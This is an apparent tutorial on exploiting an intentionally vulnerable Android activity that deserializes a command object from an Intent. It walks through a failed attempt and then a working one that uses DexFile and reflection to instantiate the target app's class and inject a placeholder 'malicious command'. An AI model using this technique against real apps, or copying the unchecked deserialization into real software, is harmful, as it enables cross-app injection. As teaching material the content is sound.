Exploiting Android trough an Intent with Reflection
Introduction
Initial Application
The serialized class:
package activity.vulnerable.my.myvunerableactivity;
import java.io.Serializable;
public class CustomData implements Serializable{
private String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
}
public String getCmd() {
return cmd;
}
}
The MainActivity :
package activity.vulnerable.my.myvunerableactivity;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class MyVunerableActivity extends AppCompatActivity {
private static String INTENT_KEY = "customData";
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_my_vunerable);
bundle = getIntent().getExtras();
CustomData data;
if(bundle!=null) {
data = (CustomData) bundle.getSerializable(INTENT_KEY);
executeCommand(data.getCmd());
}
}
private void executeCommand(String cmd){
Log.e("Command executed",cmd);
}
}
Here, there is few parts to notice :
data = (CustomData) bundle.getSerializable(INTENT_KEY);
is used to receive aCustomData
from the Intent, then it execute the command.CustomData
is in factactivity.vulnerable.my.myvunerableactivity.CustomData
From there we can try to create our malicious exploiting application.
First Try : Copy the Custom Data class and send it
Exploiting Activity :
package activity.exploit.my.exploit;
import android.content.ComponentName;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import java.io.Serializable;
public class MainActivity extends AppCompatActivity {
private static String INTENT_KEY = "customData";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Here we create our object command
CustomData data = new CustomData();
data.setCmd("Malicious command");
// We add the command to the bundle that will be sent
Bundle bundle = new Bundle();
bundle.putSerializable("INTENT_KEY", (Serializable) data);
Intent intent = new Intent();
// Here we call the vulnerable application activity
intent.setComponent(new ComponentName("activity.vulnerable.my.myvunerableactivity", "activity.vulnerable.my.myvunerableactivity.MyVunerableActivity"));
intent.putExtras(bundle);
startActivity(intent);
}
}
That failed … so I asked myself why.
Remember that I made you notice that the full path of the CustomData
was activity.vulnerable.my.myvunerableactivity.CustomData
in the vulnerable application. Here the full path was not activity.vulnerable.my.myvunerableactivity.CustomData
but activity.exploit.my.exploit.CustomData
.
The problem was that when you unserialize an Object and cast it to your Class, it compares the full path before doing it, so in our case it could’nt work and I got the following error :
Parcelable encountered ClassNotFoundException reading a Serializable object (name = activity.exploit.my.exploit.CustomData)
Second try : Here comes the reflection
Let’s craft our exploit :
public class MainActivity extends AppCompatActivity {
private static String INTENT_KEY = "customData";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Here we create our object command
Object object = null;
try{
// Loading vulnerable application DexFile
PackageManager packageManager = getPackageManager();
ApplicationInfo appInfo = packageManager.getApplicationInfo("activity.vulnerable.my.myvunerableactivity",0);
DexFile df = new DexFile(appInfo.sourceDir);
// Invoking CustomData class
ClassLoader cl = getClassLoader();
Class classToInvestigate = df.loadClass("activity.vulnerable.my.myvunerableactivity.CustomData",cl);
object = classToInvestigate.newInstance();
// Setting malicious Payload
Method method = classToInvestigate.getDeclaredMethod("setCmd",String.class);
method.invoke(object,"Malicious command's");
}catch(Exception e){
e.printStackTrace();
}
// We add the command to the bundle that will be sent
Bundle bundle = new Bundle();
bundle.putSerializable(INTENT_KEY, (Serializable) object);
Intent intent = new Intent();
// Here we call the vulnerable application activity
intent.setComponent(new ComponentName("activity.vulnerable.my.myvunerableactivity", "activity.vulnerable.my.myvunerableactivity.MyVunerableActivity"));
intent.putExtras(bundle);
startActivity(intent);
}
}
Result :
Command executed: Malicious command's